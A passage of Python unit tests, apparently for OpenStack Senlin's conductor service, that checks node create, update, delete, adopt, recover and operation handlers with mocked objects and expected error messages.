mock_index.assert_called_once_with(self.ctx, 'CLUSTER_ID') mock_node.assert_called_once_with( self.ctx, { 'name': 'GENERATED_NAME', 'profile_id': 'NODE_PROFILE_ID', 'cluster_id': 'CLUSTER_ID', 'physical_id': None, 'index': 12345, 'role': '', 'metadata': {}, 'status': 'INIT', 'status_reason': 'Initializing', 'user': self.ctx.user_id, 'project': self.ctx.project_id, 'domain': self.ctx.domain_id, 'data': {}, 'dependents': {}, 'init_at': mock.ANY, }) mock_action.assert_called_once_with( self.ctx, 'NODE_ID', consts.NODE_CREATE, name='node_create_NODE_ID', cluster_id='CLUSTER_ID', cause=consts.CAUSE_RPC, status=action_mod.Action.READY) notify.assert_called_once_with() @mock.patch.object(po.Profile, 'find') @mock.patch.object(no.Node, 'get_by_name') def test_node_create_name_conflict(self, mock_find, mock_get): cfg.CONF.set_override('name_unique', True) mock_get.return_value = mock.Mock() req = orno.NodeCreateRequestBody(name='NODE1', profile_id='PROFILE_NAME') ex = self.assertRaises(rpc.ExpectedException, self.svc.node_create, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.BadRequest, ex.exc_info[0]) self.assertEqual(_("The node named (NODE1) already exists."), str(ex.exc_info[1])) @mock.patch.object(po.Profile, 'find') def test_node_create_profile_not_found(self, mock_profile): mock_profile.side_effect = exc.ResourceNotFound(type='profile', id='Bogus') req = orno.NodeCreateRequestBody(name='NODE1', profile_id='Bogus') ex = self.assertRaises(rpc.ExpectedException, self.svc.node_create, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.BadRequest, ex.exc_info[0]) self.assertEqual("The specified profile 'Bogus' could not be " "found.", str(ex.exc_info[1])) mock_profile.assert_called_once_with(self.ctx, 'Bogus') @mock.patch.object(co.Cluster, 'find') @mock.patch.object(po.Profile, 'find') def test_node_create_cluster_not_found(self, mock_profile, mock_cluster): mock_cluster.side_effect = exc.ResourceNotFound(type='cluster', id='Bogus') req = orno.NodeCreateRequestBody(name='NODE1', profile_id='PROFILE_NAME', cluster_id='Bogus') ex = self.assertRaises(rpc.ExpectedException, self.svc.node_create, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.BadRequest, ex.exc_info[0]) self.assertEqual("The specified cluster 'Bogus' could not be found.", str(ex.exc_info[1])) mock_cluster.assert_called_once_with(self.ctx, 'Bogus') @mock.patch.object(co.Cluster, 'find') @mock.patch.object(po.Profile, 'find') def test_node_create_profile_type_not_match(self, mock_profile, mock_cluster): mock_profile.side_effect = [ mock.Mock(id='NODE_PROFILE_ID', type='TYPE-A'), mock.Mock(id='CLUSTER_PROFILE_ID', type='TYPE-B'), ] mock_cluster.return_value = mock.Mock(id='CLUSTER_ID', profile_id='CLUSTER_PROFILE_ID') req = orno.NodeCreateRequestBody(name='NODE1', profile_id='NODE_PROFILE', cluster_id='FAKE_CLUSTER') ex = self.assertRaises(rpc.ExpectedException, self.svc.node_create, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.BadRequest, ex.exc_info[0]) self.assertEqual("Node and cluster have different profile " "type, operation aborted.", str(ex.exc_info[1])) mock_profile.assert_has_calls([ mock.call(self.ctx, 'NODE_PROFILE'), mock.call(self.ctx, 'CLUSTER_PROFILE_ID'), ]) mock_cluster.assert_called_once_with(self.ctx, 'FAKE_CLUSTER') @mock.patch.object(no.Node, 'find') def test_node_get(self, mock_find): x_obj = mock.Mock(physical_id='PHYSICAL_ID') x_obj.to_dict.return_value = {'foo': 'bar'} mock_find.return_value = x_obj req = orno.NodeGetRequest(identity='NODE1', show_details=False) result = self.svc.node_get(self.ctx, req.obj_to_primitive()) self.assertEqual({'foo': 'bar'}, result) mock_find.assert_called_once_with(self.ctx, 'NODE1') x_obj.to_dict.assert_called_once_with() @mock.patch.object(node_mod.Node, 'load') @mock.patch.object(no.Node, 'find') def test_node_get_with_details(self, mock_find, mock_load): x_obj = mock.Mock(physical_id='PHYSICAL_ID') x_obj.to_dict.return_value = {'foo': 'bar'} mock_find.return_value = x_obj x_node = mock.Mock() x_node.get_details.return_value = {'info': 'blahblah'} mock_load.return_value = x_node req = orno.NodeGetRequest(identity='NODE1', show_details=True) result = self.svc.node_get(self.ctx, req.obj_to_primitive()) self.assertEqual({'foo': 'bar', 'details': {'info': 'blahblah'}}, result) mock_find.assert_called_once_with(self.ctx, 'NODE1') mock_load.assert_called_once_with(self.ctx, db_node=x_obj) x_obj.to_dict.assert_called_once_with() x_node.get_details.assert_called_once_with(self.ctx) @mock.patch.object(no.Node, 'find') def test_node_get_node_not_found(self, mock_find): mock_find.side_effect = exc.ResourceNotFound(type='node', id='Bogus') req = orno.NodeGetRequest(identity='Bogus', show_details=False) ex = self.assertRaises(rpc.ExpectedException, self.svc.node_get, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.ResourceNotFound, ex.exc_info[0]) self.assertEqual("The node 'Bogus' could not be found.", str(ex.exc_info[1])) mock_find.assert_called_once_with(self.ctx, 'Bogus') @mock.patch.object(no.Node, 'find') def test_node_get_no_physical_id(self, mock_find): x_obj = mock.Mock(physical_id=None) x_obj.to_dict.return_value = {'foo': 'bar'} mock_find.return_value = x_obj req = orno.NodeGetRequest(identity='NODE1', show_details=True) result = self.svc.node_get(self.ctx, req.obj_to_primitive()) self.assertEqual({'foo': 'bar'}, result) mock_find.assert_called_once_with(self.ctx, 'NODE1') x_obj.to_dict.assert_called_once_with() @mock.patch.object(dispatcher, 'start_action') @mock.patch.object(action_mod.Action, 'create') @mock.patch.object(no.Node, 'find') def test_node_update(self, mock_find, mock_action, mock_start): x_obj = mock.Mock(id='FAKE_NODE_ID', name='NODE1', role='ROLE1', cluster_id='FAKE_CLUSTER_ID', metadata={'KEY': 'VALUE'}) x_obj.to_dict.return_value = {'foo': 'bar'} mock_find.return_value = x_obj mock_action.return_value = 'ACTION_ID' req = orno.NodeUpdateRequest(identity='FAKE_NODE', name='NODE2', role='NEW_ROLE', metadata={'foo1': 'bar1'}) # all properties changed except profile id result = self.svc.node_update(self.ctx, req.obj_to_primitive()) self.assertEqual({'foo': 'bar', 'action': 'ACTION_ID'}, result) mock_find.assert_called_once_with(self.ctx, 'FAKE_NODE') mock_action.assert_called_once_with( self.ctx, 'FAKE_NODE_ID', consts.NODE_UPDATE, name='node_update_FAKE_NOD', cluster_id='FAKE_CLUSTER_ID', cause=consts.CAUSE_RPC, status=action_mod.Action.READY, inputs={ 'name': 'NODE2', 'role': 'NEW_ROLE', 'metadata': { 'foo1': 'bar1', } }) mock_start.assert_called_once_with() @mock.patch.object(dispatcher, 'start_action') @mock.patch.object(action_mod.Action, 'create') @mock.patch.object(po.Profile, 'find') @mock.patch.object(no.Node, 'find') # @mock.patch.object(co.Cluster, 'find') def test_node_update_new_profile(self, mock_find, mock_profile, mock_action, mock_start): x_obj = mock.Mock(id='FAKE_NODE_ID', role='ROLE1', cluster_id='FAKE_CLUSTER_ID', metadata={'KEY': 'VALUE'}, profile_id='OLD_PROFILE_ID') x_obj.name = 'NODE1' x_obj.to_dict.return_value = {'foo': 'bar'} mock_find.return_value = x_obj # Same profile type mock_profile.side_effect = [ mock.Mock(id='NEW_PROFILE_ID', type='PROFILE_TYPE'), mock.Mock(id='OLD_PROFILE_ID', type='PROFILE_TYPE'), ] mock_action.return_value = 'ACTION_ID' # all properties are filtered out except for profile_id req = orno.NodeUpdateRequest(identity='FAKE_NODE', name='NODE1', role='ROLE1', metadata={'KEY': 'VALUE'}, profile_id='NEW_PROFILE') result = self.svc.node_update(self.ctx, req.obj_to_primitive()) self.assertEqual({'foo': 'bar', 'action': 'ACTION_ID'}, result) mock_find.assert_called_once_with(self.ctx, 'FAKE_NODE') mock_profile.assert_has_calls([ mock.call(self.ctx, 'NEW_PROFILE'), mock.call(self.ctx, 'OLD_PROFILE_ID'), ]) mock_action.assert_called_once_with( self.ctx, 'FAKE_NODE_ID', consts.NODE_UPDATE, name='node_update_FAKE_NOD', cluster_id='FAKE_CLUSTER_ID', cause=consts.CAUSE_RPC, status=action_mod.Action.READY, inputs={ 'new_profile_id': 'NEW_PROFILE_ID', }) mock_start.assert_called_once_with() @mock.patch.object(no.Node, 'find') def test_node_update_node_not_found(self, mock_find): mock_find.side_effect = exc.ResourceNotFound(type='node', id='Bogus') req = orno.NodeUpdateRequest(identity='Bogus') ex = self.assertRaises(rpc.ExpectedException, self.svc.node_update, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.ResourceNotFound, ex.exc_info[0]) self.assertEqual("The node 'Bogus' could not be found.", str(ex.exc_info[1])) mock_find.assert_called_once_with(self.ctx, 'Bogus') @mock.patch.object(po.Profile, 'find') @mock.patch.object(no.Node, 'find') def test_node_update_profile_not_found(self, mock_find, mock_profile): mock_find.return_value = mock.Mock() mock_profile.side_effect = exc.ResourceNotFound(type='profile', id='Bogus') req = orno.NodeUpdateRequest(identity='FAKE_NODE', profile_id='Bogus') ex = self.assertRaises(rpc.ExpectedException, self.svc.node_update, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.BadRequest, ex.exc_info[0]) self.assertEqual("The specified profile 'Bogus' could not be " "found.", str(ex.exc_info[1])) mock_find.assert_called_once_with(self.ctx, 'FAKE_NODE') mock_profile.assert_called_once_with(self.ctx, 'Bogus') @mock.patch.object(po.Profile, 'find') @mock.patch.object(no.Node, 'find') def test_node_update_diff_profile_type(self, mock_find, mock_profile): mock_find.return_value = mock.Mock(profile_id='OLD_PROFILE_ID') mock_profile.side_effect = [ mock.Mock(id='NEW_PROFILE_ID', type='NEW_PROFILE_TYPE'), mock.Mock(id='OLD_PROFILE_ID', type='OLD_PROFILE_TYPE'), ] req = orno.NodeUpdateRequest(identity='FAKE_NODE', profile_id='NEW_PROFILE') ex = self.assertRaises(rpc.ExpectedException, self.svc.node_update, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.BadRequest, ex.exc_info[0]) self.assertEqual("Cannot update a node to a different " "profile type, operation aborted.", str(ex.exc_info[1])) mock_find.assert_called_once_with(self.ctx, 'FAKE_NODE') mock_profile.assert_has_calls([ mock.call(self.ctx, 'NEW_PROFILE'), mock.call(self.ctx, 'OLD_PROFILE_ID'), ]) @mock.patch.object(po.Profile, 'find') @mock.patch.object(no.Node, 'find') def test_node_update_dumplicated_profile(self, mock_find, mock_profile): mock_find.return_value = mock.Mock(profile_id='OLD_PROFILE_ID') mock_profile.side_effect = [ mock.Mock(id='OLD_PROFILE_ID', type='PROFILE_TYPE'), mock.Mock(id='OLD_PROFILE_ID', type='PROFILE_TYPE'), ] req = orno.NodeUpdateRequest(identity='FAKE_NODE', profile_id='OLD_PROFILE_ID') ex = self.assertRaises(rpc.ExpectedException, self.svc.node_update, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.BadRequest, ex.exc_info[0]) self.assertEqual("No property needs an update.", str(ex.exc_info[1])) mock_find.assert_called_once_with(self.ctx, 'FAKE_NODE') mock_profile.assert_has_calls([ mock.call(self.ctx, 'OLD_PROFILE_ID'), mock.call(self.ctx, 'OLD_PROFILE_ID'), ]) @mock.patch.object(no.Node, 'find') def test_node_update_no_property_for_update(self, mock_find): x_obj = mock.Mock(id='FAKE_NODE_ID', name='NODE1', role='ROLE1', metadata={'KEY': 'VALUE'}) mock_find.return_value = x_obj # no property has been specified for update req = orno.NodeUpdateRequest(identity='FAKE_NODE') ex = self.assertRaises(rpc.ExpectedException, self.svc.node_update, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.BadRequest, ex.exc_info[0]) self.assertEqual("No property needs an update.", str(ex.exc_info[1])) mock_find.assert_called_once_with(self.ctx, 'FAKE_NODE') @mock.patch.object(dispatcher, 'start_action') @mock.patch.object(action_mod.Action, 'create') @mock.patch.object(no.Node, 'find') def test_node_delete(self, mock_find, mock_action, mock_start): mock_find.return_value = mock.Mock(id='12345678AB', status='ACTIVE', cluster_id='', dependents={}) mock_action.return_value = 'ACTION_ID' req = orno.NodeDeleteRequest(identity='FAKE_NODE', force=False) result = self.svc.node_delete(self.ctx, req.obj_to_primitive()) self.assertEqual({'action': 'ACTION_ID'}, result) mock_find.assert_called_once_with(self.ctx, 'FAKE_NODE') mock_action.assert_called_once_with( self.ctx, '12345678AB', consts.NODE_DELETE, name='node_delete_12345678', cluster_id='', cause=consts.CAUSE_RPC, status=action_mod.Action.READY) mock_start.assert_called_once_with() @mock.patch.object(no.Node, 'find') def test_node_delete_node_not_found(self, mock_find): mock_find.side_effect = exc.ResourceNotFound(type='node', id='Bogus') req = orno.NodeDeleteRequest(identity='Bogus', force=False) ex = self.assertRaises(rpc.ExpectedException, self.svc.node_delete, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.ResourceNotFound, ex.exc_info[0]) self.assertEqual("The node 'Bogus' could not be found.", str(ex.exc_info[1])) mock_find.assert_called_once_with(self.ctx, 'Bogus') @mock.patch.object(no.Node, 'find') def test_node_delete_improper_status(self, mock_find): for bad_status in [consts.NS_CREATING, consts.NS_UPDATING, consts.NS_DELETING, consts.NS_RECOVERING]: fake_node = mock.Mock(id='12345678AB', status=bad_status) mock_find.return_value = fake_node req = orno.NodeDeleteRequest(identity='BUSY', force=False) ex = self.assertRaises(rpc.ExpectedException, self.svc.node_delete, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.ActionInProgress, ex.exc_info[0]) self.assertEqual("The node 'BUSY' is in status %s." % bad_status, str(ex.exc_info[1])) # skipping assertion on mock_find @mock.patch.object(no.Node, 'find') def test_node_delete_have_dependency(self, mock_find): dependents = {'nodes': ['NODE1']} node = mock.Mock(id='NODE_ID', status='ACTIVE', dependents=dependents) mock_find.return_value = node req = orno.NodeDeleteRequest(identity='node1', force=False) ex = self.assertRaises(rpc.ExpectedException, self.svc.node_delete, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.ResourceInUse, ex.exc_info[0]) self.assertEqual("The node 'node1' cannot be deleted: still depended " "by other clusters and/or nodes.", str(ex.exc_info[1])) @mock.patch.object(dispatcher, 'start_action') @mock.patch.object(action_mod.Action, 'create') @mock.patch.object(no.Node, 'find') def test_node_delete_force(self, mock_find, mock_action, mock_start): for bad_status in [consts.NS_CREATING, consts.NS_UPDATING, consts.NS_DELETING, consts.NS_RECOVERING]: mock_find.return_value = mock.Mock(id='12345678AB', status=bad_status, dependents={}, cluster_id='',) mock_action.return_value = 'ACTION_ID' req = orno.NodeDeleteRequest(identity='FAKE_NODE', force=True) result = self.svc.node_delete(self.ctx, req.obj_to_primitive()) self.assertEqual({'action': 'ACTION_ID'}, result) mock_find.assert_called_with(self.ctx, 'FAKE_NODE') mock_action.assert_called_with( self.ctx, '12345678AB', consts.NODE_DELETE, name='node_delete_12345678', cluster_id='', cause=consts.CAUSE_RPC, status=action_mod.Action.READY) mock_start.assert_called_with() @mock.patch.object(environment.Environment, 'get_profile') @mock.patch.object(pb.Profile, 'adopt_node') def test_node_adopt_preview_with_profile(self, mock_adopt, mock_profile): class FakeProfile(object): pass req = mock.Mock( identity="FAKE_NODE", type="TestProfile-1.0", overrides="foo", snapshot=True ) mock_adopt.return_value = {'prop': 'value'} mock_profile.return_value = FakeProfile c, s = self.svc._node_adopt_preview(self.ctx, req) req.obj_set_defaults.assert_called_once_with() mock_profile.assert_called_once_with("TestProfile-1.0") self.assertEqual(FakeProfile, c) mock_adopt.assert_called_once_with( self.ctx, mock.ANY, 'TestProfile-1.0', overrides="foo", snapshot=True) fake_node = mock_adopt.call_args[0][1] self.assertIsInstance(fake_node, node_mod.Node) self.assertEqual('adopt', fake_node.name) self.assertEqual('TBD', fake_node.profile_id) self.assertEqual('FAKE_NODE', fake_node.physical_id) expected = { 'type': 'TestProfile', 'version': '1.0', 'properties': {'prop': 'value'} } self.assertEqual(expected, s) @mock.patch.object(pb.Profile, 'adopt_node') def test_node_adopt_preview_bad_type(self, mock_adopt): req = mock.Mock( identity="FAKE_NODE", type="TestProfile-1.0", overrides="foo", snapshot=True ) ex = self.assertRaises(exc.BadRequest, self.svc._node_adopt_preview, self.ctx, req) req.obj_set_defaults.assert_called_once_with() self.assertEqual("The profile_type 'TestProfile-1.0' could not be " "found.", str(ex)) @mock.patch.object(environment.Environment, 'get_profile') @mock.patch.object(pb.Profile, 'adopt_node') def test_node_adopt_preview_failed_adopt(self, mock_adopt, mock_profile): class FakeProfile(object): pass req = mock.Mock( identity="FAKE_NODE", type="TestProfile-1.0", overrides="foo", snapshot=True ) mock_profile.return_value = FakeProfile mock_adopt.return_value = { 'Error': {'code': 502, 'message': 'something is bad'} } ex = self.assertRaises(exc.ProfileOperationFailed, self.svc._node_adopt_preview, self.ctx, req) req.obj_set_defaults.assert_called_once_with() mock_profile.assert_called_once_with("TestProfile-1.0") mock_adopt.assert_called_once_with( self.ctx, mock.ANY, 'TestProfile-1.0', overrides="foo", snapshot=True) self.assertEqual('502: something is bad', str(ex)) @mock.patch.object(service.ConductorService, '_node_adopt_preview') def test_node_adopt_preview(self, mock_preview): spec = {'foo': 'bar'} mock_preview.return_value = mock.Mock(), spec req = orno.NodeAdoptPreviewRequest(identity='FAKE_ID', type='FAKE_TYPE') res = self.svc.node_adopt_preview(self.ctx, req.obj_to_primitive()) self.assertEqual({'node_preview': {'foo': 'bar'}}, res) mock_preview.assert_called_once_with(self.ctx, mock.ANY) self.assertIsInstance(mock_preview.call_args[0][1], orno.NodeAdoptPreviewRequest) @mock.patch.object(service.ConductorService, '_node_adopt_preview') def test_node_adopt_preview_with_exception(self, mock_preview): mock_preview.side_effect = exc.BadRequest(msg="boom") req = orno.NodeAdoptPreviewRequest(identity='FAKE_ID', type='FAKE_TYPE') ex = self.assertRaises(rpc.ExpectedException, self.svc.node_adopt_preview, self.ctx, req.obj_to_primitive()) mock_preview.assert_called_once_with(self.ctx, mock.ANY) self.assertIsInstance(mock_preview.call_args[0][1], orno.NodeAdoptPreviewRequest) self.assertEqual(exc.BadRequest, ex.exc_info[0]) self.assertEqual('boom.', str(ex.exc_info[1])) @mock.patch.object(no.Node, 'create') @mock.patch.object(service.ConductorService, '_node_adopt_preview') def test_node_adopt(self, mock_preview, mock_create): class FakeProfile(object): @classmethod def create(cls, ctx, name, spec): obj = mock.Mock(spec=spec, id='PROFILE_ID') obj.name = name return obj req = orno.NodeAdoptRequest(identity='FAKE_ID', type='FAKE_TYPE') mock_preview.return_value = FakeProfile, {'foo': 'bar'} fake_node = mock.Mock() fake_node.to_dict = mock.Mock(return_value={'attr': 'value'}) mock_create.return_value = fake_node res = self.svc.node_adopt(self.ctx, req.obj_to_primitive()) self.assertEqual({'attr': 'value'}, res) mock_preview.assert_called_once_with(self.ctx, mock.ANY) self.assertIsInstance(mock_preview.call_args[0][1], orno.NodeAdoptRequest) attrs = { 'name': mock.ANY, 'data': {}, 'dependents': {}, 'profile_id': 'PROFILE_ID', 'physical_id': 'FAKE_ID', 'cluster_id': '', 'index': -1, 'role': '', 'metadata': {}, 'status': consts.NS_ACTIVE, 'status_reason': 'Node adopted successfully', 'init_at': mock.ANY, 'created_at': mock.ANY, 'user': self.ctx.user_id, 'project': self.ctx.project_id, 'domain': self.ctx.domain_id } mock_create.assert_called_once_with(self.ctx, attrs) @mock.patch.object(no.Node, 'get_by_name') def test_node_adopt_name_not_unique(self, mock_get): cfg.CONF.set_override('name_unique', True) req = orno.NodeAdoptRequest( name='FAKE_NAME', preview=False, identity='FAKE_ID', type='FAKE_TYPE') mock_get.return_value = mock.Mock() ex = self.assertRaises(rpc.ExpectedException, self.svc.node_adopt, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.BadRequest, ex.exc_info[0]) self.assertEqual("The node named (FAKE_NAME) already exists.", str(ex.exc_info[1])) @mock.patch.object(no.Node, 'create') @mock.patch.object(service.ConductorService, '_node_adopt_preview') def test_node_adopt_failed_preview(self, mock_preview, mock_create): req = orno.NodeAdoptRequest(identity='FAKE_ID', type='FAKE_TYPE') mock_preview.side_effect = exc.BadRequest(msg='boom') ex = self.assertRaises(rpc.ExpectedException, self.svc.node_adopt, self.ctx, req.obj_to_primitive()) mock_preview.assert_called_once_with(self.ctx, mock.ANY) self.assertIsInstance(mock_preview.call_args[0][1], orno.NodeAdoptRequest) self.assertEqual(exc.BadRequest, ex.exc_info[0]) self.assertEqual("boom.", str(ex.exc_info[1])) @mock.patch.object(dispatcher, 'start_action') @mock.patch.object(action_mod.Action, 'create') @mock.patch.object(no.Node, 'find') def test_node_check(self, mock_find, mock_action, mock_start): mock_find.return_value = mock.Mock(id='12345678AB', cluster_id='FAKE_CLUSTER_ID') mock_action.return_value = 'ACTION_ID' params = {'k1': 'v1'} req = orno.NodeCheckRequest(identity='FAKE_NODE', params=params) result = self.svc.node_check(self.ctx, req.obj_to_primitive()) self.assertEqual({'action': 'ACTION_ID'}, result) mock_find.assert_called_once_with(self.ctx, 'FAKE_NODE') mock_action.assert_called_once_with( self.ctx, '12345678AB', consts.NODE_CHECK, name='node_check_12345678', cluster_id='FAKE_CLUSTER_ID', cause=consts.CAUSE_RPC, status=action_mod.Action.READY, inputs={'k1': 'v1'}) mock_start.assert_called_once_with() @mock.patch.object(no.Node, 'find') def test_node_check_not_found(self, mock_find): mock_find.side_effect = exc.ResourceNotFound(type='node', id='Bogus') req = orno.NodeCheckRequest(identity='Bogus') ex = self.assertRaises(rpc.ExpectedException, self.svc.node_check, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.ResourceNotFound, ex.exc_info[0]) self.assertEqual("The node 'Bogus' could not be found.", str(ex.exc_info[1])) mock_find.assert_called_once_with(self.ctx, 'Bogus') @mock.patch.object(dispatcher, 'start_action') @mock.patch.object(action_mod.Action, 'create') @mock.patch.object(no.Node, 'find') def test_node_recover(self, mock_find, mock_action, mock_start): mock_find.return_value = mock.Mock( id='12345678AB', cluster_id='FAKE_CLUSTER_ID') mock_action.return_value = 'ACTION_ID' params = {'operation': 'REBOOT'} req = orno.NodeRecoverRequest(identity='FAKE_NODE', params=params) result = self.svc.node_recover(self.ctx, req.obj_to_primitive()) self.assertEqual({'action': 'ACTION_ID'}, result) mock_find.assert_called_once_with(self.ctx, 'FAKE_NODE') mock_action.assert_called_once_with( self.ctx, '12345678AB', consts.NODE_RECOVER, name='node_recover_12345678', cluster_id='FAKE_CLUSTER_ID', cause=consts.CAUSE_RPC, status=action_mod.Action.READY, inputs={'operation': 'REBOOT'}) mock_start.assert_called_once_with() @mock.patch.object(dispatcher, 'start_action') @mock.patch.object(action_mod.Action, 'create') @mock.patch.object(no.Node, 'find') def test_node_recover_with_check(self, mock_find, mock_action, mock_start): mock_find.return_value = mock.Mock(id='12345678AB', cluster_id='') mock_action.return_value = 'ACTION_ID' params = {'check': True, 'operation': 'REBUILD'} req = orno.NodeRecoverRequest(identity='FAKE_NODE', params=params) result = self.svc.node_recover(self.ctx, req.obj_to_primitive()) self.assertEqual({'action': 'ACTION_ID'}, result) mock_find.assert_called_once_with(self.ctx, 'FAKE_NODE') mock_action.assert_called_once_with( self.ctx, '12345678AB', consts.NODE_RECOVER, name='node_recover_12345678', cluster_id='', cause=consts.CAUSE_RPC, status=action_mod.Action.READY, inputs={'check': True, 'operation': 'REBUILD'}) mock_start.assert_called_once_with() @mock.patch.object(dispatcher, 'start_action') @mock.patch.object(action_mod.Action, 'create') @mock.patch.object(no.Node, 'find') def test_node_recover_with_delete_timeout(self, mock_find, mock_action, mock_start): mock_find.return_value = mock.Mock(id='12345678AB', cluster_id='',) mock_action.return_value = 'ACTION_ID' params = {'delete_timeout': 20, 'operation': 'RECREATE'} req = orno.NodeRecoverRequest(identity='FAKE_NODE', params=params) result = self.svc.node_recover(self.ctx, req.obj_to_primitive()) self.assertEqual({'action': 'ACTION_ID'}, result) mock_find.assert_called_once_with(self.ctx, 'FAKE_NODE') mock_action.assert_called_once_with( self.ctx, '12345678AB', consts.NODE_RECOVER, name='node_recover_12345678', cluster_id='', cause=consts.CAUSE_RPC, status=action_mod.Action.READY, inputs={'delete_timeout': 20, 'operation': 'RECREATE'}) mock_start.assert_called_once_with() @mock.patch.object(dispatcher, 'start_action') @mock.patch.object(action_mod.Action, 'create') @mock.patch.object(no.Node, 'find') def test_node_recover_with_force_recreate(self, mock_find, mock_action, mock_start): mock_find.return_value = mock.Mock( id='12345678AB', cluster_id='FAKE_CLUSTER_ID') mock_action.return_value = 'ACTION_ID' params = {'force_recreate': True, 'operation': 'reboot', 'operation_params': {'type': 'soft'}} req = orno.NodeRecoverRequest(identity='FAKE_NODE', params=params) result = self.svc.node_recover(self.ctx, req.obj_to_primitive()) self.assertEqual({'action': 'ACTION_ID'}, result) mock_find.assert_called_once_with(self.ctx, 'FAKE_NODE') mock_action.assert_called_once_with( self.ctx, '12345678AB', consts.NODE_RECOVER, name='node_recover_12345678', cluster_id='FAKE_CLUSTER_ID', cause=consts.CAUSE_RPC, status=action_mod.Action.READY, inputs={'force_recreate': True, 'operation': 'reboot', 'operation_params': {'type': 'soft'}}) mock_start.assert_called_once_with() @mock.patch.object(no.Node, 'find') def test_node_recover_not_found(self, mock_find): mock_find.side_effect = exc.ResourceNotFound(type='node', id='Bogus') req = orno.NodeRecoverRequest(identity='Bogus') ex = self.assertRaises(rpc.ExpectedException, self.svc.node_recover, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.ResourceNotFound, ex.exc_info[0]) self.assertEqual("The node 'Bogus' could not be found.", str(ex.exc_info[1])) mock_find.assert_called_once_with(self.ctx, 'Bogus') @mock.patch.object(action_mod.Action, 'create') @mock.patch.object(no.Node, 'find') def test_node_recover_unknown_operation(self, mock_find, mock_action): mock_find.return_value = mock.Mock(id='12345678AB') mock_action.return_value = 'ACTION_ID' params = {'bogus': 'illegal'} req = orno.NodeRecoverRequest(identity='FAKE_NODE', params=params) ex = self.assertRaises(rpc.ExpectedException, self.svc.node_recover, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.BadRequest, ex.exc_info[0]) self.assertEqual("Action parameter ['bogus'] is not recognizable.", str(ex.exc_info[1])) mock_find.assert_called_once_with(self.ctx, 'FAKE_NODE') self.assertEqual(0, mock_action.call_count) @mock.patch.object(action_mod.Action, 'create') @mock.patch.object(no.Node, 'find') def test_node_recover_invalid_operation(self, mock_find, mock_action): mock_find.return_value = mock.Mock(id='12345678AB') mock_action.return_value = 'ACTION_ID' params = {'force_recreate': True, 'operation': 'blah', 'operation_params': {'type': 'soft'}} req = orno.NodeRecoverRequest(identity='FAKE_NODE', params=params) ex = self.assertRaises(rpc.ExpectedException, self.svc.node_recover, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.BadRequest, ex.exc_info[0]) self.assertEqual("Operation value 'blah' has to be one of the " "following: REBOOT, REBUILD, RECREATE.", str(ex.exc_info[1])) mock_find.assert_called_once_with(self.ctx, 'FAKE_NODE') self.assertEqual(0, mock_action.call_count) @mock.patch.object(action_mod.Action, 'create') @mock.patch.object(no.Node, 'find') def test_node_recover_invalid_operation_params(self, mock_find, mock_action): mock_find.return_value = mock.Mock(id='12345678AB') mock_action.return_value = 'ACTION_ID' params = {'force_recreate': True, 'operation': 'REBOOT', 'operation_params': {'type': 'blah'}} req = orno.NodeRecoverRequest(identity='FAKE_NODE', params=params) ex = self.assertRaises(rpc.ExpectedException, self.svc.node_recover, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.BadRequest, ex.exc_info[0]) self.assertEqual("Type field 'blah' in operation_params has to be one " "of the following: SOFT, HARD.", str(ex.exc_info[1])) mock_find.assert_called_once_with(self.ctx, 'FAKE_NODE') self.assertEqual(0, mock_action.call_count) @mock.patch.object(dispatcher, 'start_action') @mock.patch.object(action_mod.Action, 'create') @mock.patch.object(node_mod.Node, 'load') @mock.patch.object(no.Node, 'find') def test_node_op(self, mock_find, mock_node, mock_action, mock_start): x_db_node = mock.Mock(id='12345678AB', cluster_id='FAKE_CLUSTER_ID') mock_find.return_value = x_db_node x_schema = mock.Mock() x_profile = mock.Mock(OPERATIONS={'dance': x_schema}) x_node = mock.Mock() x_node.rt = {'profile': x_profile} mock_node.return_value = x_node mock_action.return_value = 'ACTION_ID' params = {'style': 'tango'} req = orno.NodeOperationRequest(identity='FAKE_NODE', operation='dance', params=params) result = self.svc.node_op(self.ctx, req.obj_to_primitive()) self.assertEqual({'action': 'ACTION_ID'}, result) mock_find.assert_called_once_with(self.ctx, 'FAKE_NODE') mock_node.assert_called_once_with(self.ctx, db_node=x_db_node) x_schema.validate.assert_called_once_with({'style': 'tango'}) mock_action.assert_called_once_with( self.ctx, '12345678AB', consts.NODE_OPERATION, name='node_dance_12345678', cluster_id='FAKE_CLUSTER_ID', cause=consts.CAUSE_RPC, status=action_mod.Action.READY, inputs={'operation': 'dance', 'params': {'style': 'tango'}}) mock_start.assert_called_once_with() @mock.patch.object(no.Node, 'find') def test_node_op_node_not_found(self, mock_find): mock_find.side_effect = exc.ResourceNotFound(type='node', id='Bogus') req = orno.NodeOperationRequest(identity='Bogus', operation='dance', params={}) ex = self.assertRaises(rpc.ExpectedException, self.svc.node_op, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.ResourceNotFound, ex.exc_info[0]) self.assertEqual("The node 'Bogus' could not be found.", str(ex.exc_info[1])) mock_find.assert_called_once_with(self.ctx, 'Bogus') @mock.patch.object(node_mod.Node, 'load') @mock.patch.object(no.Node, 'find') def test_node_op_unsupported_operation(self, mock_find, mock_node): x_db_node = mock.Mock(id='12345678AB') mock_find.return_value = x_db_node x_schema = mock.Mock() x_profile = mock.Mock(OPERATIONS={'dance': x_schema}, type='cow') x_node = mock.Mock() x_node.rt = {'profile': x_profile} mock_node.return_value = x_node req = orno.NodeOperationRequest(identity='node1', operation='swim', params={}) ex = self.assertRaises(rpc.ExpectedException, self.svc.node_op, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.BadRequest, ex.exc_info[0]) self.assertEqual("The requested operation 'swim' is 